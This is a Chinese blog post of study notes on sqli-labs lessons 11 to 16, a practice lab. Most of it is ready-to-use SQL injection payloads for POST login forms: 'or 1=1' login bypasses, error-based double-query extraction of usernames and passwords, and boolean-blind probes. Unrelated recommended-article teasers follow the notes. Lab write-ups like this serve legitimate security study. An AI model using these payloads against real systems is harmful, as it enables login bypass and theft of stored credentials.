【sqli-labs】Less11~Less16
学习sqli-labs的笔记,前面的笔记内容比较详细。后面的只记录关键点了。
Less11: POST注入, 有回显,有错误提示
从11题起是POST注入,发现有两个输入框。用firefox的F12查看提交参数为
uname=&passwd=&submit=Submit
再uname上做测试
uname='&passwd=1&submit=Submit
报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' and password='' LIMIT 0,1' at line 1
说明语句格式为 where a='abc' 这样的格式
最终通过永真语句绕过登陆:
uname=' or 1=1 limit 1,1-- a&passwd=&submit=Submit
Less12:
与11题几乎一样,就是闭合方式变成了("xxx")
uname=") or 1=1 limit 1,1 -- a&passwd=&submit=Submit
Less13: POST注入,无回显,有报错
用Less5的双注入,注意闭合即可
uname=') union (select count(*), concat(@@version,floor(rand(0)*2)) a from information_schema.tables group by a) -- a&passwd=&submit=Submit
获取用户名密码
uname=') union (select count(*), concat((select concat(username,'/',password) from users limit 0,1),floor(rand(0)*2)) a from information_schema.tables group by a) -- a&passwd=&submit=Submit
Less14:
与13题几乎一样,只是闭合方式变成了"a"
uname=" union (select count(*), concat((select concat(username,'/',password) from users limit 0,1),floor(rand(0)*2)) a from information_schema.tables group by a) -- a&passwd=&submit=Submit
Less15:POST注入,布尔盲注
在登陆成功和登陆失败时显示结果不同,根据这一点可以不断盲注测试。类似如下语句,需要一个字符一个字符的试。
uname=' or length(@@version)>10 -- a&passwd=&submit=Submit
uname=' or ascii(substr(@@version,1,1))>64 -- a&passwd=&submit=Submit
具体的我实在懒得试了。
Less16:
根15题一样,就是闭合方式变了变(PS:名字叫做时间盲注,但感觉完全用不到啊)
uname=") or ascii(substr(@@version,1,1))>0 -- a&passwd=&submit=Submit
【sqli-labs】Less11~Less16的更多相关文章
- 【SEED Labs】Public-Key Infrastructure (PKI) Lab
Lab Overview 公钥加密是当今安全通信的基础,但当通信的一方向另一方发送其公钥时,它会受到中间人的攻击.根本的问题是,没有简单的方法来验证公钥的所有权,即,给定公钥及其声明的所有者信息,如何 ...
- 【SEED Labs】DNS Rebinding Attack Lab
Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/DNS_Rebinding/ 在这个实验中模拟的物联网设备 ...
- 【SEED Labs】TCP Attacks Lab
Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/TCP_Attacks/ 本实验涵盖以下课题: • TCP ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- 【移动端】300ms延迟以及点透事件原因以及解决方案
产生原因 移动端会有双击缩放的这个操作,因此浏览器在click之后要等待300ms,看用户有没有下一次点击,也就是这次操作是不是双击 说完移动端点击300ms延迟的问题,还不得不提一下移动端点击穿透的 ...
- 【技巧总结】Penetration Test Engineer[2]-Information gathering
2.信息收集 信息收集是属于前期交互阶段所需要了解的问题. 2.1.前期交互内容 签署授权文件:首要要和受测试方签订授权协议. 划定范围:指定了一个二级域名作为测试目标,那么其他二级域名在测试范围内. ...
- Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)【系列1】
Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)[系列1] Android在加载或者处理超大巨型图片 ...
- SQLi_Labs通关文档【1-65关】
SQLi_Labs通关文档[1-65关] 为了不干扰自己本机环境,SQL-LAB我就用的码头工人,跑起来的,搭建也非常简单,也就两条命令 docker pull acgpiano/sqli-labs ...
- 【AR实验室】mulberryAR : ORBSLAM2+VVSION
本文转载请注明出处 —— polobymulberry-博客园 0x00 - 前言 mulberryAR是我业余时间弄的一个AR引擎,目前主要支持单目视觉SLAM+3D渲染,并且支持iOS端,但是该引 ...
随机推荐
- python 的基础 学习 第一天
1 python 的变量 1,变量必须 由数字,字母和下划线组成 2,变量不能由数字开头,例如 :22hhh , 3,变量不能是由Python中的关键字组成. 4,变量具有可描述性,不易过长. 5,变 ...
- JSTL 递增序号
<c:forEach items="${signBusList}" var="sign" varStatus="xh"> ${x ...
- 移动端300ms延迟解决方法在vue 里面的一些小坑
话不多说上图: 至于import为什么会报错,瞅下面这个图: 总结:要搞懂个必须了解下es6的解构赋值才能在这方面装逼,网上资料一大堆自行百度.
- python web cgi
知识详解: cgi:通用网关接口,网络脚本的解析 python cgi 自带有cgi轻量级服务器,我们通过cgi命令可以开启该服务器 python2 python -m CGIHTTPServer p ...
- view类初探(一)
/*************************************************************************************************** ...
- MySql cmd下的学习笔记 —— 有关修饰器的知识(trigger)
关于触发器的理解: 进行数据库应用软件的开发时,有时我们碰到表的某些数据的改变时,希望同时 引起其他相关数据改变的需求,利用触发器就能满足这样的需求. 触发器能在表中的某些特定数据变化时自动完成某些查 ...
- 设置eclipse代码自动补全功能
1.选择Eclipse菜单条中的Windows菜单下的Preferences项 2.在左侧找到“Java” -> “Editor” -> “Content Assist” 3.在右侧“Au ...
- Java内存模型[转]
原文:http://www.cnblogs.com/nexiyi/p/java_memory_model_and_thread.html 1. 概述 多任务和高并发是衡量一台计算机处理器的能力重要指标 ...
- 集合排序 Comparator和Comparable的使用区别
Java 排序 Compare Comparator接口 Comparable接口 区别 在Java中使用集合来存储数据时非常常见的,集合排序功能也是常用功能之一.下面看一下如何进行集合排序,常用的 ...
- HAProxy详解(三):基于虚拟主机的HAProxy负载均衡系统配置实例【转】
一.基于虚拟主机的HAProxy负载均衡系统配置实例 1.通过HAProxy的ACL规则配置虚拟主机: 下面将通过HAProxy的ACL功能配置一套基于虚拟主机的负载均衡系统.这里操作系统环境为:Ce ...